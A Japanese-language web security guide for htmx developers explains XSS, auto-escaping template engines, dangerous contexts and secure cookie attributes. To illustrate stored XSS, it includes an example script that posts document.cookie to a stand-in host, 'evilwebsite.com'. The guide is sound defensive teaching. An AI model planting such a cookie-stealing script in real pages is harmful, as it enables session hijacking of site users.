Webセキュリティ基礎(htmxと共に)

アレクサンダー・ペトロス

htmxの人気の高まりとともに、サーバー生成HTMLをこれまで書いたことのないコミュニティにも広がってきました。動的なHTMLテンプレートは、Rails、Django、Springなどの多くの一般的なWebフレームワークを使用する標準的な方法であり、現在もそうである一方、ReactやSvelteなどのシングルページアプリケーション(SPA)フレームワーク出身者にとっては新しい概念です。これらのフレームワークでは、JSXの普及により、HTMLを直接記述することはありません。

しかし、恐れることはありません!HTMLテンプレートを使用したWebアプリケーションの記述は、セキュリティモデルが多少異なりますが、JSXベースのアプリケーションのセキュリティ確保よりも難しいわけではなく、場合によってははるかに簡単です。

#対象読者

これはhtmxを用いたWebセキュリティの基礎ですが、ほとんどはhtmx固有のものではありません。動的なユーザー生成コンテンツをWeb上に配置する場合は、これらの概念を理解することが重要です。

このガイドでは、Webのセマンティクスに関する基本的な理解があり、バックエンドサーバー(任意の言語)の記述に精通していることを前提としています。たとえば、バックエンドの状態を変更できる`GET`ルートを作成しないことを知っている必要があります。また、他者のウェブサイトをホストするウェブサイトなど、非常に高度なことは行わないと仮定します。そのようなことを行う場合、認識する必要があるセキュリティの概念は、このガイドの範囲をはるかに超えています。

できるだけ幅広い読者を対象とするために、これらの簡略化された仮定を行っています。邪魔になる情報を省くためです。明らかに、すべての人を網羅することはできません。セキュリティガイドが完全に包括的なものになることはありません。誤りがある場合、または言及すべき明白な落とし穴がある場合は、ご連絡いただければ更新します。

#黄金則

これらの4つの簡単なルールに従うことで、クライアントセキュリティのベストプラクティスに従うことができます。

  1. 自分が制御するルートのみを呼び出す
  2. 常に自動エスケープテンプレートエンジンを使用する
  3. ユーザー生成コンテンツはHTMLタグ内でのみ提供する
  4. 認証クッキーを使用する場合は、`Secure`、`HttpOnly`、`SameSite=Lax`で設定する

次のセクションでは、これらの各ルールが何を行い、どのような攻撃から保護するかについて説明します。ユーザーがログインし、データを表示して更新できるウェブサイトを構築するためにhtmxを使用する、大部分のhtmxユーザーは、これらのルールに違反する理由が決してありません。

後で、これらのルールを破る方法について説明します。これらの制約下では多くの有用なアプリケーションを構築できますが、より高度な動作が必要な場合は、アプリケーションのセキュリティ確保の概念的な負担が増加することを完全に理解して行うことになります。そして、その過程でWebセキュリティについて多くのことを学ぶことができます。

#ルールの理解

#自分が制御するルートのみを呼び出す

これは最も基本的なルールであり、最も重要なルールです。**htmxで信頼できないルートを呼び出さないでください。**

実際には、相対URLのみを使用する必要があります。これは問題ありません。

<button hx-get="/events">Search events</button>

しかし、これは問題です。

<button hx-get="https://google.com/search?q=events">Search events</button>

その理由は簡単です。htmxはそのルートからのレスポンスをユーザーのページに直接挿入します。レスポンスに悪意のある`<script>`が含まれている場合、そのスクリプトはユーザーのデータを盗む可能性があります。ルートを制御していない場合、ルートを制御する人が悪意のあるスクリプトを追加しないことを保証できません。

幸いなことに、これは非常に簡単なルールです。ハイパーメディアAPI(つまりHTML)はアプリケーションのレイアウトに固有であるため、他者のHTMLを自分のページに挿入したいと思う理由はほとんどありません。やるべきことは、自分のルートのみを呼び出すことを確認することだけです(htmx 2では、デフォルトで他のドメインの呼び出しが無効になります)。

最近はそれほど一般的ではありませんが、一般的なSPAパターンは、フロントエンドとバックエンドを異なるリポジトリに分割し、場合によっては異なるURLから提供することでした。これには、フロントエンドで絶対URLを使用し、多くの場合、CORSを無効にすることが必要でした。htmx(そして公平を期すために、NextJSを使用する最新のReact)では、これはアンチパターンです。

代わりに、バックエンドと同じサーバー(または少なくとも同じドメイン)からHTMLフロントエンドを提供するだけで、他のすべてが適切に機能します。相対URLを使用でき、CORSで問題が発生することはなく、他者のバックエンドを呼び出すこともありません。

htmxはHTMLを実行します。HTMLはコードです。信頼できないコードを実行しないでください。

#常に自動エスケープテンプレートエンジンを使用する

ユーザーにHTMLを送信する場合、すべての動的コンテンツをエスケープする必要があります。テンプレートエンジンを使用してレスポンスを構築し、自動エスケープが有効になっていることを確認してください。

幸いなことに、すべてのテンプレートエンジンはHTMLのエスケープをサポートしており、ほとんどのエンジンではデフォルトで有効になっています。以下にいくつかの例を示します。

言語テンプレートエンジンデフォルトでHTMLをエスケープしますか?
JavaScriptNunjucksはい
JavaScriptEJSはい、`<%= %>`を使用
PythonDTLはい
PythonJinja**場合によっては**(Flaskでははい)
RubyERBはい、`<%= %>`を使用
PHPBladeはい
Gohtml/templateはい
JavaThymeleafはい
RustTeraはい

この種のバグは、多くの場合、クロスサイトスクリプティング(XSS)攻撃と呼ばれ、その用語は広く使用されており、予期しないコンテンツをWebページに挿入することを意味します。通常、攻撃者はAPIを使用して悪意のあるコードをデータベースに格納し、それを情報を要求する他のユーザーに提供します。

たとえば、出会い系サイトを構築していて、ユーザーが自分の簡単なプロフィールを共有できるようにしているとします。`{{ user.bio }}`がデータベースに保存されているプロフィールであるため、このようにプロフィールを表示します。

<p>
{{ user.bio }}
</p>

悪意のあるユーザーがスクリプト要素を含むプロフィール(クライアントのクッキーを別のウェブサイトに送信するようなもの)を書いた場合、このHTMLは、そのプロフィールを表示するすべてのユーザーに送信されます。

<p>
<script>
  fetch('evilwebsite.com', { method: 'POST', body: document.cookie })
</script>
</p>

幸いなことに、これは修正が非常に簡単なので、自分でコードを書くことができます。信頼できない(つまりユーザーが提供した)データを追加するたびに、8文字を非コード相当のものに置き換えるだけです。これはJavaScriptを使用した例です。

/**
 * Replace any characters that could be used to inject a malicious script in an HTML context.
 */
export function escapeHtmlText (value) {
  const stringValue = value.toString()
  const entityMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;',
    '`': '&grave;',
    '=': '&#x3D;'
  }

  // Match any of the characters inside /[ ... ]/
  const regex = /[&<>"'`=/]/g
  return stringValue.replace(regex, match => entityMap[match])
}

この小さなJS関数は、`<`を`&lt;`に、`"`を`&quot;`などに置き換えます。これらの文字はテキストで使用されている場合でも`<`や`"`として正しくレンダリングされますが、コード構造として解釈することはできません。前の悪意のあるプロフィールは、次のHTMLに変換されます。

<p>
&lt;script&gt;
  fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, data: document.cookie })
&lt;/script&gt;
</p>

これはテキストとして無害に表示されます。

前述のように、手動でエスケープする必要はありません。これらの概念がいかに簡単かを示したかっただけです。すべてのテンプレートエンジンには自動エスケープ機能があり、とにかくテンプレートエンジンを使用する必要があります。エスケープが有効になっていることを確認し、すべてのHTMLを介して送信してください。

#ユーザー生成コンテンツはHTMLタグ内でのみ提供する

これはテンプレートエンジンのルールの補足ですが、独自のルールとして呼び出すほど重要です。自動エスケープテンプレートエンジンを使用している場合でも、ユーザーが任意のCSSまたはJSコンテンツを定義することを許可しないでください。

<!-- Don't include inside script tags -->
<script>
  const userName = {{ user.name }}
</script>

<!-- Don't include inside CSS tags -->
<style>
  h1 { color: {{ user.favorite_color }} }
</style>

また、ユーザー定義の属性やタグ名も使用しないでください。

<!-- Don't allow user-defined tag names -->
<{{ user.tag }}></{{ user.tag }}>

<!-- Don't allow user-defined attributes -->
<a {{ user.attribute }}></a>

<!-- User-defined attribute VALUES are sometimes okay, it depends -->
<a class="{{ user.class }}"></a>

<!-- Escaped content is always safe inside HTML tags (this is fine) -->
<a>{{ user.name }}</a>

CSS、JavaScript、およびHTML属性は“危険なコンテキスト”であり、たとえエスケープされていても、任意のユーザー入力を許可する安全ではない場所です。エスケープによっていくつかの脆弱性から保護されますが、すべてではありません。脆弱性は多様であるため、何も行わないことをデフォルトとするのが最善です。

ユーザー生成テキストをスクリプトタグに直接挿入することは決して必要ではありませんが、ユーザーがCSSをカスタマイズしたり、HTML属性をカスタマイズしたりできる場合があります。それらを適切に処理する方法については、以下で説明します。

#クッキーを保護する

htmxで認証を行う最良の方法は、クッキーを使用することです。htmxは主にファーストパーティHTML APIを介してインタラクションを促進するため、ブラウザの最高のクッキーセキュリティ機能を有効にすることは通常簡単です。特にこれら3つ。

これらが何から保護するかを理解するために、基本事項を見ていきましょう。`Authorization`ヘッダーを使用して認証を行うことが一般的なJavaScript SPA出身者であれば、クッキーの動作方法に慣れていないかもしれません。幸いなことに、それらは非常に簡単です。(注:これは「htmxを使用した認証」のチュートリアルではなく、一般的にクッキートークンの概要です)

ユーザーが`<form>`でログインした場合、ブラウザはサーバーにHTTPリクエストを送信し、サーバーは次のようなレスポンスを送信します。

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML content]

そのトークンは、ユーザーの現在のログインセッションに対応しています。これ以降、ユーザーが`yourdomain.com`の任意のルートへのリクエストを行うたびに、ブラウザは`Set-Cookie`からのクッキーをHTTPリクエストに含めます。

GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982

ユーザーがサーバーにリクエストを行うたびに、そのトークンを解析して有効かどうかを確認する必要があります。非常に簡単です。

上記で推奨したオプションなど、クッキーにオプションを設定することもできます。これを行う方法はプログラミング言語によって異なりますが、結果は常に次のようなHTTPレスポンスになります。

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML content]

では、オプションは何をするのでしょうか?

最初の`Secure`は、ブラウザが安全ではないHTTP接続ではなく、安全なHTTPS接続でのみクッキーを送信することを保証します。ユーザーのログイントークンなどの機密情報は、安全ではない接続経由で決して送信されるべきではありません。

2番目のオプションである`HttpOnly`は、ブラウザがクッキーをJavaScriptに公開しないことを意味します(つまり、`document.cookie`にはありません)。上記の`evilwebsite.com`の例のように、悪意のあるスクリプトを挿入できたとしても、その悪意のあるスクリプトはユーザーのクッキーにアクセスしたり、`evilwebsite.com`に送信したりすることはできません。ブラウザは、クッキーが来たウェブサイトへのリクエストが行われた場合にのみ、クッキーを添付します。

最後に、SameSite=Laxは、クロスサイトリクエストフォージェリ(CSRF)攻撃に対する防御策となります。CSRF攻撃とは、攻撃者がクライアントのブラウザを騙してyourdomain.comサーバーに対して悪意のあるリクエスト(POSTリクエストなど)を送信させようとする攻撃です。SameSite=Lax設定は、リクエスト元がyourdomain.comでない場合(単純な<a>タグによるページ遷移を除く)、ブラウザがyourdomain.comのCookieを送信しないように指示します。これは現在ほぼブラウザのデフォルト動作となっていますが、明示的に設定しておくことが重要です。

2024年現在、SameSite=LaxはCSRF攻撃を防ぐのに通常十分ですが、より機密性の高い複雑なケースでは、追加の対策も検討できます。

重要な注意:SameSite=Laxはドメインレベルでのみ保護され、サブドメインレベル(つまり、yourdomain.comは保護されるが、yoursite.github.ioは保護されない)では保護されません。ユーザーログインを行う場合は、本番環境では常に独自のドメインで行う必要があります。パブリックサフィックスリストによって保護される場合もありますが、それに頼るべきではありません。

#ルール違反

最も簡単で安全な方法から始めました。そうすることで、ミスはデータの盗難(これは修正不可能)ではなく、壊れたUX(修正可能)につながります。

一部のウェブアプリケーションは、より複雑な機能とユーザーのカスタマイズ性を必要とし、そのためより複雑なセキュリティメカニズムも必要になります。これらのルールを破るのは、それが絶対に必要であり、代替手段では目的の機能を実装できないと確信している場合のみとするべきです。

#信頼できないAPIの呼び出し

信頼できないHTML APIを呼び出すのは愚行です。決して行ってはいけません。

クライアントから他の人のJSON APIを呼び出したいケースがあるかもしれませんが、それは問題ありません。JSONは任意のスクリプトを実行できないからです。その場合、そのデータを使ってHTMLに変換する必要があるでしょう。そのためにはhtmxを使用せず、fetchJSON.parse()を使用してください。信頼できないAPIがJSONではなくHTMLを返す場合でも、JSON.parse()はエラーを発生させることなく失敗します。

ただし、解析するJSONにHTMLとしてフォーマットされたプロパティが含まれている可能性があることに注意してください。

{ "name": "<script>alert('Hahaha I am a script')</script>" }

したがって、JSON値をHTMLとして挿入しないでください。そのようなことをする場合は、textContentを使用してください。これはhtmx制御UIの範囲外です。

htmxの2.0バージョンには、クライアントから他の人のAPIを直接呼び出し、そのテキストをページに挿入したい場合に使用するtextContent交換機能が含まれます。

#カスタムHTMLコントロール

信頼できないHTMLルートを呼び出すこととは異なり、ユーザーが動的なHTML形式のコンテンツを作成できるようにする多くの正当な理由があります。

たとえば、ユーザーが画像へのリンクを作成できるようにしたいとしましょう。

<img src="{{ user.fav_img }}">

あるいは、個人のウェブサイトへのリンクを作成できるようにしたいとしましょう。

<a href="{{ user.fav_link }}">

デフォルトの「すべてをエスケープする」アプローチはスラッシュをエスケープするため、ユーザーが送信したURLが壊れてしまいます。

これを修正するにはいくつかの方法があります。最も簡単で安全な方法は、ユーザーがこれらの値をカスタマイズできるようにする一方で、リテラルテキストを定義させないことです。画像の例では、画像を独自のサーバー(またはS3バケットなど)にアップロードし、リンクを自分で生成してから、エスケープせずに含めることができます。Nunjucksでは、safe関数を使用します。

<img src="{{ user.fav_img_s3_url | safe }}">

はい、エスケープされていないコンテンツを含めていますが、それは自分で生成したリンクなので、安全であることがわかっています。

カスタムCSSも同様に処理できます。ユーザーが直接色を指定できるようにするのではなく、いくつかの限定された選択肢を与え、ユーザーの入力に基づいて選択肢を設定します。

{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}

この例では、ユーザーはfavorite_colorを好きなように設定できますが、赤または青以外の値になることはありません。より複雑な例としては、正規表現を使用して、適切にフォーマットされた16進数コードのみが入力されるようにすることができます。要点はご理解いただけたと思います。

サポートするカスタマイズの種類によっては、セキュリティを確保するのが比較的簡単になる場合も、非常に困難になる場合もあります。一部の属性は“安全なシンク”であり、その値はコードとして解釈されることはありません。これらはセキュリティを確保するのが比較的簡単です。動的な入力を“危険なコンテキスト”に含める場合は、それらのコンテキストの何が危険なのかを調査し、その種類の入力がドキュメントに含まれないようにする必要があります。

たとえば、ユーザーが任意のウェブサイトや画像へのリンクを作成できるようにしたい場合は、はるかに複雑になります。まず、属性を引用符で囲むようにしてください(ほとんどの人はすでにそうしています)。次に、スラッシュ(およびアンパサンド)以外のすべてをエスケープするカスタムエスケープ関数を作成するなどして、リンクが正しく機能するようにする必要があります。

しかし、正しく実行したとしても、新しいセキュリティ上の課題が生じます。ユーザーは他の人のサーバーから直接リクエストするため、その画像リンクはユーザーの追跡に使用される可能性があります。それで構わない場合もあるでしょうし、他の軽減策を講じる場合もあるでしょう。重要なのは、このレベルのカスタマイズを導入すると、より困難なセキュリティモデルが伴うことを認識しており、調査とテストを行うリソースがない場合は、行うべきではないということです。

JavaScript SPAは、クライアントのローカルストレージにトークンを保存し、各リクエストのAuthorizationヘッダーに追加することで、認証を行う場合があります。残念ながら、JavaScriptを使用せずにAuthorizationヘッダーを設定する方法はありません。これは安全ではありません。信頼できるJavaScriptで使用できる場合は、悪意のあるスクリプトがページに侵入した場合、攻撃者も使用できるようになります。代わりに、JavaScriptをまったく触ることなく設定および保護できるCookie(上記の属性付き)を使用してください。

Authorizationヘッダーはあるのに、ハイパーメディアコントロールで設定する方法がないのはなぜでしょうか?それは、WHATWGのとんでもない欠落小さな謎の1つです。

制御できないAPIでユーザーのクライアントを認証する場合は、Authorizationヘッダーを使用する必要があるかもしれません。その場合、制御できないルートに関する通常の注意事項が適用されます。

#ボーナス:コンテンツセキュリティポリシー

ページで実行できるコンテンツの種類に関するルールを設定するためにHTTPヘッダーを使用するコンテンツセキュリティポリシー(CSP)についても認識しておく必要があります。たとえば、ページが自分のドメインからの画像のみをロードするように制限したり、インラインスクリプトを無効にしたりすることができます。

これは、普遍的に適用するのが容易ではないため、黄金律の1つではありません。「万人向け」のCSPはありません。一部のhtmxアプリケーションはインラインスクリプトを使用しています。hx-on属性は、任意のスクリプトを評価できる汎用的な属性リスナーです(ただし、必要ない場合は無効にできます)。インラインスクリプトは、XSSに対して十分に安全なアプリケーションで動作の局所性を維持するために適切な場合もあれば、不要でより厳格なCSPを採用できる場合もあります。すべてはアプリケーションのセキュリティプロファイルに依存します。利用可能なオプションを認識し、その分析を実行できることが重要です。

#これは後退ですか?

あなたは当然こう思うかもしれません。SPAを構築していたときはこれらのことを知る必要がなかったのに、htmxはセキュリティの後退ではありませんか?この主張の両方の部分を反論します。

この記事はhtmxのセキュリティ特性を擁護するものではありませんが、ハイパーメディアアプリケーションは、デフォルトでJSONベースのフロントエンドよりもはるかに安全な多くの領域があります。HTML APIはレンダリングされるべき情報のみを返します。JSONレスポンスに意図しないデータが「隠れて」ユーザーに漏洩することははるかに容易です。ハイパーメディアAPIは、クライアント上でGraphQLのような汎用クエリ言語の実装にも適していません。はるかに複雑なセキュリティモデルを必要とします。あらゆる種類の欠陥はアプリケーションの複雑さに潜んでいます。一般的に、ハイパーメディアアプリケーションは複雑さが低く、そのためセキュリティを確保するのが容易です。

動的なコンテンツをウェブに配置する場合は、XSS攻撃についても知っておく必要があります。XSSの仕組みを理解していない開発者は、ReactのdangerouslySetInnerHTMLの使用の危険性が理解できません。そして、リッチなユーザー生成テキストをレンダリングする必要があるとすぐに使用します。これらのセキュリティの基本をできるだけ簡単に探しやすくすることはライブラリの責任です。それらを学習し、従うことは常に開発者の責任でした。

この記事は、htmxアプリケーションのセキュリティ確保を「成功への落とし穴」にするように構成されています。これらの簡単なルールに従えば、XSSの脆弱性をコード化する可能性は非常に低くなります。しかし、セキュリティについて何も学ぶことを拒否する開発者の手に安全なライブラリを作成することは不可能です。なぜなら、セキュリティは情報のアクセスを制御することであり、コンピュータに正確に誰がどの情報にアクセスできるかを説明するのは常に人間の仕事だからです。

安全なウェブアプリケーションを作成することは難しいです。ルーティング、データベースアクセス、HTMLテンプレート、ビジネスロジックなどに関連する多くの簡単な落とし穴があります。しかし、セキュリティがセキュリティ専門家の領域のみであれば、セキュリティ専門家だけがウェブアプリケーションを作成する必要があります。そうであるべきかもしれません!しかし、セキュリティ専門家だけがウェブアプリケーションを作成する場合、彼らは間違いなくテンプレートエンジンを正しく使用する方法を知っているので、htmxは彼らにとって問題になりません。

その他の方々へ

  1. 信頼できないルートを呼び出さないでください。
  2. 自動エスケープテンプレートエンジンを使用してください。
  3. HTMLタグ内にはユーザー生成コンテンツのみを配置してください。
  4. Cookieを安全に保護してください。
</>